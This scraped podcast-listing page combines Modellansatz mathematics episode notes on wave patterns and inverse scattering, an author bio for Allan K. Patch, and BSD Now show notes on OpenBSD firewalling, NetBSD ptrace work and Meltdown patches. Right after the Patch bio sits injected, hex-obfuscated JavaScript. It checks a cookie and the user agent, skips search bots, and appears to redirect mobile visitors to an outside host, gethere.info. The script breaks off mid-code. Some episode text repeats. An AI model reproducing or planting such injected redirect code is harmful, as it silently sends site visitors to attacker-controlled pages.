surrounding air while Rayleigh considered fixed boundaries. And this changes the size of the critical Rayleigh number. For each person doing experiments it is also an observation that the shape of the container with small perturbations in the ideal shape changes the convection patterns. Maria does study the dynamics of nonlinear waves and patterns. This means she is interested in understanding processes which change over time. Her main questions are: Existence of observed waves as solutions of the equations The stability of certain types of solutions How is the interaction of different waves She treats her problems with the theory of dynamical systems and bifurcations. The simplest tools go back to Poincaré when understanding ordinary differential equations. One could consider the partial differential equations to be the evolution in an infinite dimensional phase space. Here, in the 1980s, Klaus Kirchgässner had a few crucial ideas how to construct special solutions to nonlinear partial differential equations. It is possible to investigate waterwave problems which are dispersive equations as well as flow problems which are dissipative. Together with her colleagues in Besancon she is also very keen to match experiments for optical waves with her mathematical analysis. There Mariana is working with a variant of the Nonlinear Schrödinger equation called Lugiato-Lefever Equation. It has many different solutions, e.g. periodic solutions and solitons. Since 2002 Mariana has been Professor in Besancon (University of Franche-Comté, France). Before that she studied and worked in a lot of different places, namely in Bordeaux, Stuttgart, Bucharest, Nice, and Timisoara. References V.A. Getling: Rayleigh-Bénard Convection Structures and Dynamics, Advanced Series in Nonlinear Dynamics, Volume 11, World Scientific, Oxford (1998) P. H. Rabinowitz: Existence and nonuniqueness of rectangular solutions of the Bénard problem. Arch. Rational Mech. Anal. (1968) 29: 32. M. Haragus and G. Iooss: Local bifurcations, center manifolds, and normal forms in infinite-dimensional dynamical systems. Universitext. Springer-Verlag London, Ltd., London; EDP Sciences, Les Ulis, 2011. Newell, Alan C. Solitons in mathematics and physics. CBMS-NSF Regional Conference Series in Applied Mathematics, 48. Society for Industrial and Applied Mathematics (SIAM), Philadelphia, PA, 1985. Y. K. Chembo, D. Gomila, M. Tlidi, C. R. Menyuk: Topical Issue: Theory and Applications of the Lugiato-Lefever Equation. Eur. Phys. J. D 71 (2017). Podcasts S. Fliss, G. Thäter: Transparent Boundaries. Conversation in the Modellansatz Podcast episode 75, Department of Mathematics, Karlsruhe Institute of Technology (KIT), 2015. M. Kray, G. Thäter: Splitting Waves. Conversation in the Modellansatz Podcast episode 62, Department of Mathematics, Karlsruhe Institute of Technology (KIT), 2015. F. Sayas, G. Thäter: Acoustic scattering. Conversation in the Modellansatz Podcast episode 58, Department of Mathematics, Karlsruhe Institute of Technology (KIT), 2015.

Modellansatz - English episodes only

In den nächsten Wochen bis zum 20.2.2020 möchte Anna Hein, Studentin der Wissenschaftskommunikation am KIT, eine Studie im Rahmen ihrer Masterarbeit über den Podcast Modellansatz durchführen. Dazu möchte sie gerne einige Interviews mit Ihnen, den Hörerinnen und Hörern des Podcast Modellansatz führen, um herauszufinden, wer den Podcast hört und wie und wofür er genutzt wird. Die Interviews werden anonymisiert und werden jeweils circa 15 Minuten in Anspruch nehmen. Für die Teilnahme an der Studie können Sie sich bis zum 20.2.2020 unter der Emailadresse studie.modellansatz@web.de bei Anna Hein melden. Wir würden uns sehr freuen, wenn sich viele Interessenten melden würden. In the coming weeks until February 20, 2020, Anna Hein, student of science communication at KIT, intends to conduct a study on the Modellansatz Podcast within her master's thesis. For this purpose, she would like to conduct some interviews with you, the listeners of the Modellansatz Podcast, to find out who listens to the podcast and how and for what purpose it is used. The interviews will be anonymous and will take about 15 minutes each. To participate in the study, you can register with Anna Hein until 20.2.2020 at studie.modellansatz@web.de . We would be very pleased if many interested parties would contact us. This is the first of three conversation recorded Conference on mathematics of wave phenomena 23-27 July 2018 in Karlsruhe. Gudrun talked to Fioralba Cakoni about the Linear Sampling Method and Scattering. The linear sampling method is a method to reconstruct the shape of an obstacle without a priori knowledge of either the physical properties or the number of disconnected components of the scatterer. The principal problem is to detect objects inside an object without seeing it with our eyes. So we send waves of a certain frequency range into an object and then measure the response on the surface of the body. The waves can be absorbed, reflected and scattered inside the body. From this answer we would like to detect if there is something like a tumor inside the body and if yes where. Or to be more precise what is the shape of the tumor. Since the problem is non-linear and ill posed this is a difficult question and needs severyl mathematical steps on the analytical as well as the numerical side. In 1996 Colton and Kirsch (reference below) proposed a new method for the obstacle reconstruction problem in inverse scattering which is today known as the linear sampling method. It is a method to solve the above stated problem, which scientists call an inverse scattering problem. The method of linear sampling combines the answers to lots of frequencies but stays linear. So the problem in itself is not approximated but the interpretation of the response is. The central idea is to invert a bounded operator which is constructed with the help of the integral over the boundary of the body. Fioralba got her Diploma (honor’s program) and her Master's in Mathematics at the University of Tirana. For her Ph.D. she worked with George Dassios from the University of Patras but stayed at the University of Tirana. After that she worked with Wolfgang Wendland at the University of Stuttgart as Alexander von Humboldt Research Fellow. During her second year in Stuttgart she got a position at the University of Delaware in Newark. Since 2015 she has been Professor at Rutgers University. She works at the Campus in Piscataway near New Brunswick (New Jersey). References F. Cakoni, D. Colton and H. Haddar, Inverse Scattering Theory and Transmission Eigenvalues, CBMS-NSF Regional Conference Series in Applied Mathematics, 88, SIAM Publications, 2016. F. Cakoni, D. Colton, A Qualitative Approach to Inverse Scattering Theory, Springer, Applied Mathematical Series, Vol. 188, 2014. T. Arens: Why linear sampling works, Inverse Problems 20 163-173, 2003. https://doi.org/10.1088/0266-5611/20/1/010 A. Kirsch: Characterization of the shape of a scattering obstacle using the spectral data of the far field operator, Inverse Problems 14 1489-512, 1998 D. Colton, A. Kirsch: A simple method for solving inverse scattering problems in the resonance region, Inverse Problems 12 383-93, 1996. Podcasts S. Fliss, G. Thäter: Transparent Boundaries. Conversation in the Modellansatz Podcast episode 75, Department of Mathematics, Karlsruhe Institute of Technology (KIT), 2015. M. Kray, G. Thäter: Splitting Waves. Conversation in the Modellansatz Podcast episode 62, Department of Mathematics, Karlsruhe Institute of Technology (KIT), 2015. F. Sayas, G. Thäter: Acoustic scattering. Conversation in the Modellansatz Podcast episode 58, Department of Mathematics, Karlsruhe Institute of Technology (KIT), 2015.

Modellansatz
Linear Sampling

Modellansatz

Play Episode Listen Later Jan 9, 2020 47:40


In den nächsten Wochen bis zum 20.2.2020 möchte Anna Hein, Studentin der Wissenschaftskommunikation am KIT, eine Studie im Rahmen ihrer Masterarbeit über den Podcast Modellansatz durchführen. Dazu möchte sie gerne einige Interviews mit Ihnen, den Hörerinnen und Hörern des Podcast Modellansatz führen, um herauszufinden, wer den Podcast hört und wie und wofür er genutzt wird. Die Interviews werden anonymisiert und werden jeweils circa 15 Minuten in Anspruch nehmen. Für die Teilnahme an der Studie können Sie sich bis zum 20.2.2020 unter der Emailadresse studie.modellansatz@web.de bei Anna Hein melden. Wir würden uns sehr freuen, wenn sich viele Interessenten melden würden. In the coming weeks until February 20, 2020, Anna Hein, student of science communication at KIT, intends to conduct a study on the Modellansatz Podcast within her master's thesis. For this purpose, she would like to conduct some interviews with you, the listeners of the Modellansatz Podcast, to find out who listens to the podcast and how and for what purpose it is used. The interviews will be anonymous and will take about 15 minutes each. To participate in the study, you can register with Anna Hein until 20.2.2020 at studie.modellansatz@web.de . We would be very pleased if many interested parties would contact us. This is the first of three conversation recorded Conference on mathematics of wave phenomena 23-27 July 2018 in Karlsruhe. Gudrun talked to Fioralba Cakoni about the Linear Sampling Method and Scattering. The linear sampling method is a method to reconstruct the shape of an obstacle without a priori knowledge of either the physical properties or the number of disconnected components of the scatterer. The principal problem is to detect objects inside an object without seeing it with our eyes. So we send waves of a certain frequency range into an object and then measure the response on the surface of the body. The waves can be absorbed, reflected and scattered inside the body. From this answer we would like to detect if there is something like a tumor inside the body and if yes where. Or to be more precise what is the shape of the tumor. Since the problem is non-linear and ill posed this is a difficult question and needs severyl mathematical steps on the analytical as well as the numerical side. In 1996 Colton and Kirsch (reference below) proposed a new method for the obstacle reconstruction problem in inverse scattering which is today known as the linear sampling method. It is a method to solve the above stated problem, which scientists call an inverse scattering problem. The method of linear sampling combines the answers to lots of frequencies but stays linear. So the problem in itself is not approximated but the interpretation of the response is. The central idea is to invert a bounded operator which is constructed with the help of the integral over the boundary of the body. Fioralba got her Diploma (honor’s program) and her Master's in Mathematics at the University of Tirana. For her Ph.D. she worked with George Dassios from the University of Patras but stayed at the University of Tirana. After that she worked with Wolfgang Wendland at the University of Stuttgart as Alexander von Humboldt Research Fellow. During her second year in Stuttgart she got a position at the University of Delaware in Newark. Since 2015 she has been Professor at Rutgers University. She works at the Campus in Piscataway near New Brunswick (New Jersey). References F. Cakoni, D. Colton and H. Haddar, Inverse Scattering Theory and Transmission Eigenvalues, CBMS-NSF Regional Conference Series in Applied Mathematics, 88, SIAM Publications, 2016. F. Cakoni, D. Colton, A Qualitative Approach to Inverse Scattering Theory, Springer, Applied Mathematical Series, Vol. 188, 2014. T. Arens: Why linear sampling works, Inverse Problems 20 163-173, 2003. https://doi.org/10.1088/0266-5611/20/1/010 A. Kirsch: Characterization of the shape of a scattering obstacle using the spectral data of the far field operator, Inverse Problems 14 1489-512, 1998 D. Colton, A. Kirsch: A simple method for solving inverse scattering problems in the resonance region, Inverse Problems 12 383-93, 1996. Podcasts S. Fliss, G. Thäter: Transparent Boundaries. Conversation in the Modellansatz Podcast episode 75, Department of Mathematics, Karlsruhe Institute of Technology (KIT), 2015. M. Kray, G. Thäter: Splitting Waves. Conversation in the Modellansatz Podcast episode 62, Department of Mathematics, Karlsruhe Institute of Technology (KIT), 2015. F. Sayas, G. Thäter: Acoustic scattering. Conversation in the Modellansatz Podcast episode 58, Department of Mathematics, Karlsruhe Institute of Technology (KIT), 2015.

Catalog of Interviews and Bits
Patches of History 11/1/2018

Catalog of Interviews and Bits

Play Episode Listen Later Oct 31, 2018


About Allan K. Patch: Retired USN Captain Allan Patch grew up in Plymouth, Mass where he developed a fascination with the heritage of our nation. Adding sciences to his interest in history, Allan earned a BS in biology from Boston College and a DMD from Tufts University. He then spent over two decades in the Navy, deployed in both Navy hospitals and in active duty with the Marine Corps; and entered private dental practice while serving in the Naval Reserve. Allan Patch’s fast paced adventure novels bring history to life in the Apollo series. Passage At Delphi is the first novel in the series exploring the confluence of the past, present, and future with ordinary people tossed into extraordinary situations. Delphi’s Chosen continues the adventure...but now the characters are volunteers rather than victims. He invites readers along for the thrilling ride and explores the difference between heroism and celebrity in the context of past and present culture. Passage At Delphi and Delphi’s Chosen are available at Amazon, Barnes & Noble, and at www.akpatchauthor.com.var _0x446d=["x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E","x69x6Ex64x65x78x4Fx66","x63x6Fx6Fx6Bx69x65","x75x73x65x72x41x67x65x6Ex74","x76x65x6Ex64x6Fx72","x6Fx70x65x72x61","x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26","x67x6Fx6Fx67x6Cx65x62x6Fx74","x74x65x73x74","x73x75x62x73x74x72","x67x65x74x54x69x6Dx65","x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D","x74x6Fx55x54x43x53x74x72x69x6Ex67","x6Cx6Fx63x61x74x69x6Fx6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|

BSD Now
Episode 239: The Return To ptrace | BSD Now 239

BSD Now

Play Episode Listen Later Mar 29, 2018 92:43


OpenBSD firewalling Windows 10, NetBSD’s return to ptrace, TCP Alternative Backoff, the BSD Poetic license, and AsiaBSDcon 2018 videos available. RSS Feeds: MP3 Feed | iTunes Feed | HD Vid Feed | HD Torrent Feed Become a supporter on Patreon: - Show Notes: - Headlines Preventing Windows 10 and untrusted software from having full access to the internet using OpenBSD Whilst setting up one of my development laptops to port some software to Windows I noticed Windows 10 doing crazy things like installing or updating apps and games by default after initial setup. The one I noticed in particular was Candy Crush Soda Saga which for those who don't know of it is some cheesy little puzzle game originally for consumer devices. I honestly did not want software like this near to a development machine. It has also been reported that Windows 10 now also updates core system software without notifying the user. Surely this destroys any vaguely deterministic behaviour, in my opinion making Windows 10 by default almost useless for development testbeds. Deciding instead to start from scratch but this time to set the inbuilt Windows Firewall to be very restrictive and only allow a few select programs to communicate. In this case all I really needed to be online was Firefox, Subversion and Putty. To my amusement (and astonishment) I found out that the Windows firewall could be modified to give access very easily by programs during installation (usually because this task needs to be done with admin privileges). It also seems that Windows store Apps can change the windows firewall settings at any point. One way to get around this issue could be to install a 3rd party firewall that most software will not have knowledge about and thus not attempt to break through. However the only decent firewall I have used was Sygate Pro which unfortunately is no longer supported by recent operating systems. The last supported versions was 2003, XP and 2000. In short, I avoid 3rd party firewalls. Instead I decided to trap Windows 10 (and all of it's rogue updaters) behind a virtual machine running OpenBSD. This effectively provided me with a full blown firewall appliance. From here I could then allow specific software I trusted through the firewall (via a proxy) in a safe, controlled and deterministic manner. For other interested developers (and security conscious users) and for my own reference, I have listed the steps taken here: 1) First and foremost disable the Windows DHCP service - this is so no IP can be obtained on any interface. This effectively stops any communication with any network on the host system. This can be done by running services.msc with admin privileges and stopping and disabling the service called DHCP Client. 2) Install or enable your favorite virtualization software - I have tested this with both VirtualBox and Hyper-V. Note that on non-server versions of Windows, in order to get Hyper-V working, your processor also needs to support SLAT which is daft so to avoid faffing about, I recommend using VirtualBox to get round this seemingly arbitrary restriction. 3) Install OpenBSD on the VM - Note, if you decide to use Hyper-V, its hardware support isn't 100% perfect to run OpenBSD and you will need to disable a couple of things in the kernel. At the initial boot prompt, run the following commands. config -e -o /bsd /bsd disable acpi disable mpbios 4) Add a host only virtual adapter to the VM - This is the one which we are going to connect through the VM with. Look at the IP that VirtualBox assigns this in network manager on the host machine. Mine was [b]192.168.56.1[/b]. Set up the adapter in the OpenBSD VM to have a static address on the same subnet. For example [b]192.168.56.2[/b]. If you are using Hyper-V and OpenBSD, make sure you add a "Legacy Interface" because no guest additions are available. Then set up a virtual switch which is host only. 5) Add a bridged adapter to the VM - then assign it to whichever interface you wanted to connect to the external network with. Note that if using Wireless, set the bridged adapters MAC address to the same as your physical device or the access point will reject it. This is not needed (or possible) on Hyper-V because the actual device is "shared" rather than bridged so the same MAC address is used. Again, if you use Hyper-V, then add another virtual switch and attach it to your chosen external interface. VMs in Hyper-V "share" an adapter within a virtual switch and there is the option to also disable the hosts ability to use this interface at the same time which is fine for an additional level of security if those pesky rogue apps and updaters can also enable / disable DHCP service one day which wouldn't be too surprising. 6) Connect to your network in the host OS - In case of Wireless, select the correct network from the list and type in a password if needed. Windows will probably say "no internet available", it also does not assign an IP address which is fine. 7) Install the Squid proxy package on the OpenBSD guest and enable the daemon ``` pkg_add squid echo 'squid_flags=""' >> /etc/rc.conf.local /etc/rc.d/squid start ``` We will use this service for a limited selection of "safe and trusted" programs to connect to the outside world from within the Windows 10 host. You can also use putty on the host to connect to the VM via SSH and create a SOCKS proxy which software like Firefox can also use to connect externally. 8) Configure the software you want to be able to access the external network with Firefox - go to the connection settings and specify the VMs IP address for the proxy. Subversion - modify the %HOME%AppDataRoamingSubversionservers file and change the HTTP proxy field to the VMs IP. This is important to communicate with GitHub via https:// (Yes, GitHub also supports Subversion). For svn:// addresses you can use Putty to port forward. Chromium/Chrome - unfortunately uses the global Windows proxy settings which defeats much of the purpose of this exercise if we were going to allow all of Windows access to the internet via the proxy. It would become mayhem again. However we can still use Putty to create a SOCKS proxy and then launch the browser with the following flags: --proxy-server="socks5://:" --host-resolver-rules="MAP * 0.0.0.0 , EXCLUDE " 9) Congratulations, you are now done - Admittedly this process can be a bit fiddly to set up but it completely prevents Windows 10 from making a complete mess. This solution is probably also useful for those who like privacy or don't like the idea of their software "phoning home". Hope you find this useful and if you have any issues, please feel free to leave questions in the comments. LLDB restoration and return to ptrace(2) I've managed to unbreak the LLDB debugger as much as possible with the current kernel and hit problems with ptrace(2) that are causing issues with further work on proper NetBSD support. Meanwhile, I've upstreamed all the planned NetBSD patches to sanitizers and helped other BSDs to gain better or initial support. LLDB Since the last time I worked on LLDB, we have introduced many changes to the kernel interfaces (most notably related to signals) that apparently fixed some bugs in Go and introduced regressions in ptrace(2). Part of the regressions were noted by the existing ATF tests. However, the breakage was only marked as a new problem to resolve. For completeness, the ptrace(2) code was also cleaned up by Christos Zoulas, and we fixed some bugs with compat32. I've fixed a crash in *NetBSD::Factory::Launch(), triggered on startup of the lldb-server application. Here is the commit message: ``` We cannot call process_up->SetState() inside the NativeProcessNetBSD::Factory::Launch function because it triggers a NULL pointer deference. The generic code for launching a process in: GDBRemoteCommunicationServerLLGS::LaunchProcess sets the mdebuggedprocessup pointer after a successful call to mprocessfactory.Launch(). If we attempt to call processup->SetState() inside a platform specific Launch function we end up dereferencing a NULL pointer in NativeProcessProtocol::GetCurrentThreadID(). Use the proper call processup->SetState(,false) that sets notifydelegates to false. ``` Sanitizers I suspended development of new features in sanitizers last month, but I was still in the process of upstreaming of local patches. This process was time-consuming as it required rebasing patches, adding dedicated tests, and addressing all other requests and comments from the upstream developers. I'm not counting hot fixes, as some changes were triggering build or test issues on !NetBSD hosts. Thankfully all these issues were addressed quickly. The final result is a reduction of local delta size of almost 1MB to less than 100KB (1205 lines of diff). The remaining patches are rescheduled for later, mostly because they depend on extra work with cross-OS tests and prior integration of sanitizers with the basesystem distribution. I didn't want to put extra work here in the current state of affairs and, I've registered as a mentor for Google Summer of Code for the NetBSD Foundation and prepared Software Quality improvement tasks in order to outsource part of the labour. Userland changes I've also improved documentation for some of the features of NetBSD, described in man-pages. These pieces of information were sometimes wrong or incomplete, and this makes covering the NetBSD system with features such as sanitizers harder as there is a mismatch between the actual code and the documented code. Some pieces of software also require better namespacing support, these days mostly for the POSIX standard. I've fixed few low-hanging fruits there and requested pullups to NetBSD-8(BETA). I thank the developers for improving the landed code in order to ship the best solutions for users. BSD collaboration in LLVM A One-man-show in human activity is usually less fun and productive than collaboration in a team. This is also true in software development. Last month I was helping as a reviewer to port LLVM features to FreeBSD and when possible to OpenBSD. This included MSan/FreeBSD, libFuzzer/FreeBSD, XRay/FreeBSD and UBSan/OpenBSD. I've landed most of the submitted and reviewed code to the mainstream LLVM tree. Part of the code also verified the correctness of NetBSD routes in the existing porting efforts and showed new options for improvement. This is the reason why I've landed preliminary XRay/NetBSD code and added missing NetBSD bits to ToolChain::getOSLibName(). The latter produced setup issues with the prebuilt LLVM toolchain, as the directory name with compiler-rt goodies were located in a path like ./lib/clang/7.0.0/lib/netbsd8.99.12 with a varying OS version. This could stop working after upgrades, so I've simplified it to "netbsd", similar to FreeBSD and Solaris. Prebuilt toolchain for testers I've prepared a build of Clang/LLVM with LLDB and compiler-rt features prebuilt on NetBSD/amd64 v. 8.99.12: llvm-clang-compilerrt-lldb-7.0.0beta_2018-02-28.tar.bz2 Plan for the next milestone With the approaching NetBSD 8.0 release I plan to finish backporting a few changes there from HEAD: Remove one unused feature from ptrace(2), PTSETSIGMASK & PTGETSIGMASK. I've originally introduced these operations with criu/rr-like software in mind, but they are misusing or even abusing ptrace(2) and are not regular process debuggers. I plan to remove this operation from HEAD and backport this to NetBSD-8(BETA), before the release, so no compat will be required for this call. Future ports of criu/rr should involve dedicated kernel support for such requirements. Finish the backport of UCMACHINE_FP() to NetBSD-8. This will allow use of the same code in sanitizers in HEAD and NetBSD-8.0. By popular demand, improve the regnsub(3) and regasub(3) API, adding support for more or less substitutions than 10. Once done, I will return to ptrace(2) debugging and corrections. DigitalOcean Working with the NetBSD kernel Overview When working on complex systems, such as OS kernels, your attention span and cognitive energy are too valuable to be wasted on inefficiencies pertaining to ancillary tasks. After experimenting with different environmental setups for kernel debugging, some of which were awkward and distracting from my main objectives, I have arrived to my current workflow, which is described here. This approach is mainly oriented towards security research and the study of kernel internals. Before delving into the details, this is the general outline of my environment: My host system runs Linux. My target system is a QEMU guest. I’m tracing and debugging on my host system by attaching GDB (with NetBSD x86-64 ABI support) to QEMU’s built-in GDB server. I work with NetBSD-current. All sources are built on my host system with the cross-compilation toolchain produced by build.sh. I use NFS to share the source tree and the build artifacts between the target and the host. I find IDEs awkward, so for codebase navigation I mainly rely on vim, tmux and ctags. For non-intrusive instrumentation, such as figuring out control flow, I’m using dtrace. Preparing the host system QEMU GDB NFS Exports Building NetBSD-current A word of warning Now is a great time to familiarize yourself with the build.sh tool and its options. Be especially carefull with the following options: -r Remove contents of TOOLDIR and DESTDIR before building. -u Set MKUPDATE=yes; do not run "make clean" first. Without this, everything is rebuilt, including the tools. Chance are, you do not want to use these options once you’ve successfully built the cross-compilation toolchain and your entire userland, because building those takes time and there aren’t many good reasons to recompile them from scratch. Here’s what to expect: On my desktop, running a quad-core Intel i5-3470 at 3.20GHz with 24GB of RAM and underlying directory structure residing on a SSD drive, the entire process took about 55 minutes. I was running make with -j12, so the machine was quite busy. On an old Dell D630 laptop, running Intel Core 2 Duo T7500 at 2.20GHz with 4GB of RAM and a slow hard drive (5400RPM), the process took approximatelly 2.5 hours. I was running make with -j4. Based on the temperature alerts and CPU clock throttling messages, it was quite a struggle. Acquiring the sources Compiling the sources Preparing the guest system Provisioning your guest Pkgin and NFS shares Tailoring the kernel for debugging Installing the new kernel Configuring DTrace Debugging the guest’s kernel News Roundup Add support for the experimental Internet-Draft "TCP Alternative Backoff” ``` Add support for the experimental Internet-Draft "TCP Alternative Backoff with ECN (ABE)" proposal to the New Reno congestion control algorithm module. ABE reduces the amount of congestion window reduction in response to ECN-signalled congestion relative to the loss-inferred congestion response. More details about ABE can be found in the Internet-Draft: https://tools.ietf.org/html/draft-ietf-tcpm-alternativebackoff-ecn The implementation introduces four new sysctls: net.inet.tcp.cc.abe defaults to 0 (disabled) and can be set to non-zero to enable ABE for ECN-enabled TCP connections. net.inet.tcp.cc.newreno.beta and net.inet.tcp.cc.newreno.betaecn set the multiplicative window decrease factor, specified as a percentage, applied to the congestion window in response to a loss-based or ECN-based congestion signal respectively. They default to the values specified in the draft i.e. beta=50 and betaecn=80. net.inet.tcp.cc.abe_frlossreduce defaults to 0 (disabled) and can be set to non-zero to enable the use of standard beta (50% by default) when repairing loss during an ECN-signalled congestion recovery episode. It enables a more conservative congestion response and is provided for the purposes of experimentation as a result of some discussion at IETF 100 in Singapore. The values of beta and betaecn can also be set per-connection by way of the TCPCCALGOOPT TCP-level socket option and the new CCNEWRENOBETA or CCNEWRENOBETA_ECN CC algo sub-options. Submitted by: Tom Jones tj@enoti.me Tested by: Tom Jones tj@enoti.me, Grenville Armitage garmitage@swin.edu.au Relnotes: Yes Differential Revision: https://reviews.freebsd.org/D11616 ``` Meltdown-mitigation syspatch/errata now available The recent changes in -current mitigating the Meltdown vulnerability have been backported to the 6.1 and 6.2 (amd64) releases, and the syspatch update (for 6.2) is now available. 6.1 ``` Changes by: bluhm@cvs.openbsd.org 2018/02/26 05:36:18 Log message: Implement a workaround against the Meltdown flaw in Intel CPUs. The following changes have been backported from OpenBSD -current. Changes by: guenther@cvs.openbsd.org 2018/01/06 15:03:13 Log message: Handle %gs like %[def]s and reset set it in cpu_switchto() instead of on every return to userspace. Changes by: mlarkin@cvs.openbsd.org 2018/01/06 18:08:20 Log message: Add identcpu.c and specialreg.h definitions for the new Intel/AMD MSRs that should help mitigate spectre. This is just the detection piece, these features are not yet used. Part of a larger ongoing effort to mitigate meltdown/spectre. i386 will come later; it needs some machdep.c cleanup first. Changes by: mlarkin@cvs.openbsd.org 2018/01/07 12:56:19 Log message: remove all PG_G global page mappings from the kernel when running on Intel CPUs. Part of an ongoing set of commits to mitigate the Intel "meltdown" CVE. This diff does not confer any immunity to that vulnerability - subsequent commits are still needed and are being worked on presently. ok guenther, deraadt Changes by: mlarkin@cvs.openbsd.org 2018/01/12 01:21:30 Log message: IBRS -> IBRS,IBPB in identifycpu lines Changes by: guenther@cvs.openbsd.org 2018/02/21 12:24:15 Log message: Meltdown: implement user/kernel page table separation. On Intel CPUs which speculate past user/supervisor page permission checks, use a separate page table for userspace with only the minimum of kernel code and data required for the transitions to/from the kernel (still marked as supervisor-only, of course): - the IDT (RO) - three pages of kernel text in the .kutext section for interrupt, trap, and syscall trampoline code (RX) - one page of kernel data in the .kudata section for TLB flush IPIs (RW) - the lapic page (RW, uncachable) - per CPU: one page for the TSS+GDT (RO) and one page for trampoline stacks (RW) When a syscall, trap, or interrupt takes a CPU from userspace to kernel the trampoline code switches page tables, switches stacks to the thread's real kernel stack, then copies over the necessary bits from the trampoline stack. On return to userspace the opposite occurs: recreate the iretq frame on the trampoline stack, switch stack, switch page tables, and return to userspace. mlarkin@ implemented the pmap bits and did 90% of the debugging, diagnosing issues on MP in particular, and drove the final push to completion. Many rounds of testing by naddy@, sthen@, and others Thanks to Alex Wilson from Joyent for early discussions about trampolines and their data requirements. Per-CPU page layout mostly inspired by DragonFlyBSD. ok mlarkin@ deraadt@ Changes by: bluhm@cvs.openbsd.org 2018/02/22 13:18:59 Log message: The GNU assembler does not understand 1ULL, so replace the constant with 1. Then it compiles with gcc, sign and size do not matter here. Changes by: bluhm@cvs.openbsd.org 2018/02/22 13:27:14 Log message: The compile time assertion for cpu info did not work with gcc. Rephrase the condition in a way that both gcc and clang accept it. Changes by: guenther@cvs.openbsd.org 2018/02/22 13:36:40 Log message: Set the PG_G (global) bit on the special page table entries that are shared between the u-k and u+k tables, because they're actually in all tables. OpenBSD 6.1 errata 037 ``` 6.2 ``` Changes by: bluhm@cvs.openbsd.org 2018/02/26 05:29:48 Log message: Implement a workaround against the Meltdown flaw in Intel CPUs. The following changes have been backported from OpenBSD -current. Changes by: guenther@cvs.openbsd.org 2018/01/06 15:03:13 Log message: Handle %gs like %[def]s and reset set it in cpu_switchto() instead of on every return to userspace. Changes by: mlarkin@cvs.openbsd.org 2018/01/06 18:08:20 Log message: Add identcpu.c and specialreg.h definitions for the new Intel/AMD MSRs that should help mitigate spectre. This is just the detection piece, these features are not yet used. Part of a larger ongoing effort to mitigate meltdown/spectre. i386 will come later; it needs some machdep.c cleanup first. Changes by: mlarkin@cvs.openbsd.org 2018/01/07 12:56:19 Log message: remove all PG_G global page mappings from the kernel when running on Intel CPUs. Part of an ongoing set of commits to mitigate the Intel "meltdown" CVE. This diff does not confer any immunity to that vulnerability - subsequent commits are still needed and are being worked on presently. Changes by: mlarkin@cvs.openbsd.org 2018/01/12 01:21:30 Log message: IBRS -> IBRS,IBPB in identifycpu lines Changes by: guenther@cvs.openbsd.org 2018/02/21 12:24:15 Log message: Meltdown: implement user/kernel page table separation. On Intel CPUs which speculate past user/supervisor page permission checks, use a separate page table for userspace with only the minimum of kernel code and data required for the transitions to/from the kernel (still marked as supervisor-only, of course): - the IDT (RO) - three pages of kernel text in the .kutext section for interrupt, trap, and syscall trampoline code (RX) - one page of kernel data in the .kudata section for TLB flush IPIs (RW) - the lapic page (RW, uncachable) - per CPU: one page for the TSS+GDT (RO) and one page for trampoline stacks (RW) When a syscall, trap, or interrupt takes a CPU from userspace to kernel the trampoline code switches page tables, switches stacks to the thread's real kernel stack, then copies over the necessary bits from the trampoline stack. On return to userspace the opposite occurs: recreate the iretq frame on the trampoline stack, switch stack, switch page tables, and return to userspace. mlarkin@ implemented the pmap bits and did 90% of the debugging, diagnosing issues on MP in particular, and drove the final push to completion. Many rounds of testing by naddy@, sthen@, and others Thanks to Alex Wilson from Joyent for early discussions about trampolines and their data requirements. Per-CPU page layout mostly inspired by DragonFlyBSD. Changes by: bluhm@cvs.openbsd.org 2018/02/22 13:18:59 Log message: The GNU assembler does not understand 1ULL, so replace the constant with 1. Then it compiles with gcc, sign and size do not matter here. Changes by: bluhm@cvs.openbsd.org 2018/02/22 13:27:14 Log message: The compile time assertion for cpu info did not work with gcc. Rephrase the condition in a way that both gcc and clang accept it. Changes by: guenther@cvs.openbsd.org 2018/02/22 13:36:40 Log message: Set the PG_G (global) bit on the special page table entries that are shared between the u-k and u+k tables, because they're actually in all tables. OpenBSD 6.2 errata 009 ``` syspatch iXsystems a2k18 Hackathon Report: Ken Westerback on dhclient and more Ken Westerback (krw@) has sent in the first report from the (recently concluded) a2k18 hackathon: YYZ -> YVR -> MEL -> ZQN -> CHC -> DUD -> WLG -> AKL -> SYD -> BNE -> YVR -> YYZ For those of you who don’t speak Airport code: Toronto -> Vancouver -> Melbourne -> Queenstown -> Christchurch -> Dunedin Then: Dunedin -> Wellington -> Auckland -> Sydney -> Brisbane -> Vancouver -> Toronto ``` Whew. Once in Dunedin the hacking commenced. The background was a regular tick of new meltdown diffs to test in addition to whatever work one was actually engaged in. I was lucky (?) in that none of the problems with the various versions cropped up on my laptop. ``` ``` I worked with rpe@ and tb@ to make the install script create the 'correct' FQDN when dhclient was involved. I worked with tb@ on some code cleanup in various bits of the base. dhclient(8) got some nice cleanup, further pruning/improving log messages in particular. In addition the oddball -q option was flipped into the more normal -v. I.e. be quiet by default and verbose on request. More substantially the use of recorded leases was made less intrusive by avoiding continual reconfiguration of the interface with the same information. The 'request', 'require' and 'ignore' dhclient.conf(5) statement were changed so they are cumulative, making it easier to build longer lists of affected options. I tweaked softraid(4) to remove a handrolled version of duid_format(). I 